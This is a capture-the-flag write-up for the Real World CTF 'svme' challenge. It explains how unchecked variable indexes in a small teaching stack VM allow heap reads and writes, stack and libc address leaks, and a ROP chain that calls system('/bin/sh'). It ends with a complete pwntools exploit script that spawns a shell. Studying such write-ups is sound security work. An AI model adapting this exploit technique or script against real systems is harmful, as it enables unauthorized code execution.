Professor Terence Parr has taught us how to build a virtual machine. Now it’s time to break it!

Description

The challenge links to a simple VM built by a professor of the University of San Francisco as well as a few slides explaining the architecture.

Basically, the VM implements only a couple of operations. The instructions and the operands are all encoded on 32 bits. All the calculations take place in an emulated stack and local and global variables are available to store values.

typedef enum {
    NOOP    = 0,
    IADD    = 1,   // int add
    ISUB    = 2,
    IMUL    = 3,
    ILT     = 4,   // int less than
    IEQ     = 5,   // int equal
    BR      = 6,   // branch
    BRT     = 7,   // branch if true
    BRF     = 8,   // branch if true
    ICONST  = 9,   // push constant integer
    LOAD    = 10,  // load from local context
    GLOAD   = 11,  // load from global memory
    STORE   = 12,  // store in local context
    GSTORE  = 13,  // store in global memory
    PRINT   = 14,  // print stack top
    POP     = 15,  // throw away top of stack
    CALL    = 16,  // call function at address with nargs,nlocals
    RET     = 17,  // return value from function
    HALT    = 18
} VM_CODE;

The VM itself is a struct allocated on the heap. The stack and local variables are simply arrays of int and the global variables are in another chunk on the heap.

typedef struct {
    int *code;
    int code_size;

    // global variable space
    int *globals;
    int nglobals;

    // Operand stack, grows upwards
    int stack[DEFAULT_STACK_SIZE];
    Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;

The vulnerability

The vulnerability is that variable indexes are not checked. Therefore, we can read and write values around the arrays in the heap.

My first thought was to leak the global variables pointer, apply a bitwise mask to find the PIE base address and overwrite some GOT entries. However, the binary has all protections enabled except Fortify, which means Full RELRO is in our way. Also, it turns out that implementing a bitwise AND using only addition, substraction and multiplication is quite tedious…

I had to think of the finality before I figured how to get there. The simplest way to gain code execution would be to overwrite a return address on the stack. Luckily for us, the bytecode we sent is stored on the stack, which means we can leak a stack address by reading the code pointer!

The last element needed is a way to read and write arbitrary adresses on the stack. The key here is to use the global variables pointer as a pivot. We can read and write anywhere by setting it to the desired address and storing and loading global variables!

The attack

Armed with this tool, it’s pretty easy to setup a ROPchain at the end of the vm_exec function. It has to be noted that the function will only exit cleanly if it encounters the HALT opcode. To setup a simple system(/bin/sh) ROPchain, we still need a leak of libc. Reading the return address of main, which is somewhere inside __libc_start_main, can do just that.

At this point, I have a clear strategy:

  • Leak a stack address using the code pointer
  • Overwrite the global variables pointer to our target
  • Leak a libc address using the return address of main
  • Setup a ROPchain
  • HALT

This worked very well on my local setup, but weirdly it didn’t work in the provided Docker container. It turns out that the libc implementation of system on recent Ubuntu distributions uses operations that require the stack to be 16 bytes aligned. I slighly modified the ROPchain to use a pop rbp ; pop rdi gadget instead of a pop rdi and it fixed the problem!

Flag: rwctf{simple_vm_escape_helps_warming_up_your_real_world_hacking_skill}

Even thought this open-source project was clearly not created with security in mind, it still felt good to solve a challenge from the Real World CTF.

Complete exploit script

from pwn import *

REMOTE = False
NAME = "svme"
if REMOTE or args["REMOTE"]:
    p = remote("localhost", 1337)
    libc = ELF("./libc-2.31.so")
    LIBC_START_MAIN_OFFSET = 243
else:
    p = process(f"./{NAME}")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    LIBC_START_MAIN_OFFSET = 205
context.arch = "amd64"
r = ROP(libc)

opcodes = {
    "NOOP"   :0,
    "IADD"   :1,
    "ISUB"   :2,
    "IMUL"   :3,
    "ILT"    :4,
    "IEQ"    :5,
    "BR"     :6,
    "BRT"    :7,
    "BRF"    :8,
    "ICONST" :9,
    "LOAD"   :10,
    "GLOAD"  :11,
    "STORE"  :12,
    "GSTORE" :13,
    "PRINT"  :14,
    "POP"    :15,
    "CALL"   :16,
    "RET"    :17,
    "HALT"   :18
}

VM_OFFSET = 997
LIBC_OFFSET = 0x218
RET_OFFSET = 0x28

libc_leak = libc.sym['__libc_start_main']+LIBC_START_MAIN_OFFSET
print(f"__libc_start_main+205 @ {hex(libc_leak)}")
libc_system = libc.sym['system']
print(f"system @ {hex(libc_system)}")
libc_binsh = next(libc.search(b"/bin/sh"))
print(f"/bin/sh @ {hex(libc_binsh)}")
# libc_poprdi = r.rdi.address
libc_poprdi = 0x00000000000276e9
print(f"pop rdi @ {hex(libc_poprdi)}")

# Returns the packed version of an opcode and its arguments
def a(op, *args):
    return p32(opcodes[op]) + b"".join([p32(arg) for arg in args])

def compute_offset(start, target):
    if start < target:
        return flat([a("ICONST", target - start), a("IADD")])
    else:
        return flat([a("ICONST", start - target), a("ISUB")])

# 0,1: initial pointer
# 2,3: current pointer
# 4,5: pop rdi pointer
# 6,7: /bin/sh pointer
# 8,9: system pointer

payload = flat([
    # Backup pointer
    a("LOAD", 0x100000000-VM_OFFSET+4),
    a("STORE", 0),
    a("LOAD", 0x100000000-VM_OFFSET+5),
    a("STORE", 1),
    # Get stack address from vm struct
    a("LOAD", 0x100000000-VM_OFFSET),
    a("ICONST", LIBC_OFFSET),
    a("IADD"),
    a("STORE", 2),
    a("LOAD", 0x100000000-VM_OFFSET+1),
    a("STORE", 3),
    # Overwrite global variables pointer
    a("LOAD", 2),
    a("STORE", 0x100000000-VM_OFFSET+4),
    a("LOAD", 3),
    a("STORE", 0x100000000-VM_OFFSET+5),
    # Save pop rdi pointer
    a("GLOAD", 0),
    compute_offset(libc_leak, libc_poprdi),
    a("STORE", 4),
    a("GLOAD", 1),
    a("STORE", 5),
    # Save /bin/sh pointer
    a("GLOAD", 0),
    compute_offset(libc_leak, libc_binsh),
    a("STORE", 6),
    a("GLOAD", 1),
    a("STORE", 7),
    # Save system pointer
    a("GLOAD", 0),
    compute_offset(libc_leak, libc_system),
    a("STORE", 8),
    a("GLOAD", 1),
    a("STORE", 9),
    # Compute return address of vm_exec
    a("LOAD", 0x100000000-VM_OFFSET),
    a("ICONST", RET_OFFSET),
    a("ISUB"),
    a("STORE", 2),
    a("LOAD", 0x100000000-VM_OFFSET+1),
    a("STORE", 3),
    # Overwrite global variables pointer
    a("LOAD", 2),
    a("STORE", 0x100000000-VM_OFFSET+4),
    a("LOAD", 3),
    a("STORE", 0x100000000-VM_OFFSET+5),
    # Overwrite return address with pop rdi
    a("LOAD", 4),
    a("GSTORE", 0),
    a("LOAD", 5),
    a("GSTORE", 1),
    # Add address of /bin/sh
    a("LOAD", 6),
    a("GSTORE", 2),
    a("LOAD", 7),
    a("GSTORE", 3),
    # Add garbage
    a("ICONST", 0),
    a("GSTORE", 4),
    a("ICONST", 0),
    a("GSTORE", 5),
    # Add address of system
    a("LOAD", 8),
    a("GSTORE", 6),
    a("LOAD", 9),
    a("GSTORE", 7),
    
    a("PRINT")
], length=512, filler=a("HALT"))

p.send(payload)
p.interactive()